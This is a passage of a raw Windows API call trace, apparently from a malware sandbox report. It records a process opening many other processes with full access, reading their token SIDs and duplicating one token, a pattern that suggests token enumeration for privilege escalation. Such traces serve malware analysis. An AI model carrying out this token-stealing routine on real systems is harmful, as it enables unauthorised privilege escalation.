ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x170, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.893] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.893] CloseHandle (hObject=0x30c) returned 1 [0054.893] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x480, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.893] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.893] CloseHandle (hObject=0x30c) returned 1 [0054.893] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x4fc, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.893] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.893] CloseHandle (hObject=0x30c) returned 1 [0054.893] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x530, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.893] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.893] CloseHandle (hObject=0x30c) returned 1 [0054.893] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x538, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.893] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.893] CloseHandle (hObject=0x30c) returned 1 [0054.893] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x5c4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.893] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.893] CloseHandle (hObject=0x30c) returned 1 [0054.893] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x5f0, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.893] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.893] CloseHandle (hObject=0x30c) returned 1 [0054.893] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x684, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.894] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x6a4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.894] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.894] CloseHandle (hObject=0x30c) returned 1 [0054.894] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x6fc, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.894] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.894] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.894] ConvertSidToStringSidW () returned 0x1 [0054.894] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d6898, Size=0x8) returned 0x33fb5f8 [0054.894] DuplicateTokenEx (in: hExistingToken=0x310, dwDesiredAccess=0xf01ff, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x2fcfebc | out: phNewToken=0x2fcfebc*=0x314) returned 1 [0054.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33fb558 [0054.894] LocalFree (hMem=0x33e87a0) returned 0x0 [0054.894] CloseHandle (hObject=0x310) returned 1 [0054.894] CloseHandle (hObject=0x30c) returned 1 [0054.894] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x718, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.894] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.894] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.895] ConvertSidToStringSidW () returned 0x1 [0054.895] LocalFree (hMem=0x33e8530) returned 0x0 [0054.895] CloseHandle (hObject=0x310) returned 1 [0054.895] CloseHandle (hObject=0x30c) returned 1 [0054.895] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x7ac, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.895] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.895] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.895] ConvertSidToStringSidW () returned 0x1 [0054.895] LocalFree (hMem=0x33e8600) returned 0x0 [0054.895] CloseHandle (hObject=0x310) returned 1 [0054.895] CloseHandle (hObject=0x30c) returned 1 [0054.895] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x7f4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.895] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.895] CloseHandle (hObject=0x30c) returned 1 [0054.895] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x55c, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.895] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x860, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.895] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.895] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.895] ConvertSidToStringSidW () returned 0x1 [0054.895] LocalFree (hMem=0x33e82c0) returned 0x0 [0054.895] CloseHandle (hObject=0x310) returned 1 [0054.895] CloseHandle (hObject=0x30c) returned 1 [0054.895] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x8bc, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.895] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xb50, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.895] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.896] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.896] ConvertSidToStringSidW () returned 0x1 [0054.896] LocalFree (hMem=0x33e84c8) returned 0x0 [0054.896] CloseHandle (hObject=0x310) returned 1 [0054.896] CloseHandle (hObject=0x30c) returned 1 [0054.896] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xb58, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.896] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.896] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.896] ConvertSidToStringSidW () returned 0x1 [0054.896] LocalFree (hMem=0x33e8668) returned 0x0 [0054.896] CloseHandle (hObject=0x310) returned 1 [0054.896] CloseHandle (hObject=0x30c) returned 1 [0054.896] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xbf4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.896] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.896] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.896] ConvertSidToStringSidW () returned 0x1 [0054.896] LocalFree (hMem=0x33e8530) returned 0x0 [0054.896] CloseHandle (hObject=0x310) returned 1 [0054.896] CloseHandle (hObject=0x30c) returned 1 [0054.896] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xe04, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.896] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.896] CloseHandle (hObject=0x30c) returned 1 [0054.896] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xf44, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.896] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.897] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.897] ConvertSidToStringSidW () returned 0x1 [0054.897] LocalFree (hMem=0x33e8738) returned 0x0 [0054.897] CloseHandle (hObject=0x310) returned 1 [0054.897] CloseHandle (hObject=0x30c) returned 1 [0054.897] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xfac, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.897] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.897] CloseHandle (hObject=0x30c) returned 1 [0054.897] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xfbc, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.897] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.897] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.897] ConvertSidToStringSidW () returned 0x1 [0054.897] LocalFree (hMem=0x33e82c0) returned 0x0 [0054.897] CloseHandle (hObject=0x310) returned 1 [0054.897] CloseHandle (hObject=0x30c) returned 1 [0054.897] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xfc4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.897] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.897] CloseHandle (hObject=0x30c) returned 1 [0054.897] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xfcc, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.897] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.897] CloseHandle (hObject=0x30c) returned 1 [0054.897] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xfd4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.897] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.897] CloseHandle (hObject=0x30c) returned 1 [0054.898] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xfdc, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.898] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.898] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.898] ConvertSidToStringSidW () returned 0x1 [0054.898] LocalFree (hMem=0x33e8328) returned 0x0 [0054.898] CloseHandle (hObject=0x310) returned 1 [0054.898] CloseHandle (hObject=0x30c) returned 1 [0054.898] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xfe4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.898] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.898] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.898] ConvertSidToStringSidW () returned 0x1 [0054.898] LocalFree (hMem=0x33e8390) returned 0x0 [0054.898] CloseHandle (hObject=0x310) returned 1 [0054.898] CloseHandle (hObject=0x30c) returned 1 [0054.898] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xcbc, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.898] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.898] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.898] ConvertSidToStringSidW () returned 0x1 [0054.898] LocalFree (hMem=0x33e8600) returned 0x0 [0054.898] CloseHandle (hObject=0x310) returned 1 [0054.898] CloseHandle (hObject=0x30c) returned 1 [0054.898] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xcc8, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.898] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.898] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.898] ConvertSidToStringSidW () returned 0x1 [0054.898] LocalFree (hMem=0x33e8390) returned 0x0 [0054.898] CloseHandle (hObject=0x310) returned 1 [0054.899] CloseHandle (hObject=0x30c) returned 1 [0054.899] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x4e4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.899] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.899] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.899] ConvertSidToStringSidW () returned 0x1 [0054.899] LocalFree (hMem=0x33e8870) returned 0x0 [0054.899] CloseHandle (hObject=0x310) returned 1 [0054.899] CloseHandle (hObject=0x30c) returned 1 [0054.899] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x37c, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.899] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.899] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.899] ConvertSidToStringSidW () returned 0x1 [0054.899] LocalFree (hMem=0x33e88d8) returned 0x0 [0054.899] CloseHandle (hObject=0x310) returned 1 [0054.899] CloseHandle (hObject=0x30c) returned 1 [0054.899] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x7ec, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.899] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.899] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.899] ConvertSidToStringSidW () returned 0x1 [0054.899] LocalFree (hMem=0x33e8188) returned 0x0 [0054.899] CloseHandle (hObject=0x310) returned 1 [0054.899] CloseHandle (hObject=0x30c) returned 1 [0054.899] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xcd8, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.899] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.899] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.899] ConvertSidToStringSidW () returned 0x1 [0054.900] LocalFree (hMem=0x33e82c0) returned 0x0 [0054.900] CloseHandle (hObject=0x310) returned 1 [0054.900] CloseHandle (hObject=0x30c) returned 1 [0054.900] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xd08, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.900] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.900] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.900] ConvertSidToStringSidW () returned 0x1 [0054.900] LocalFree (hMem=0x33e8600) returned 0x0 [0054.900] CloseHandle (hObject=0x310) returned 1 [0054.900] CloseHandle (hObject=0x30c) returned 1 [0054.900] NtOpenProcess 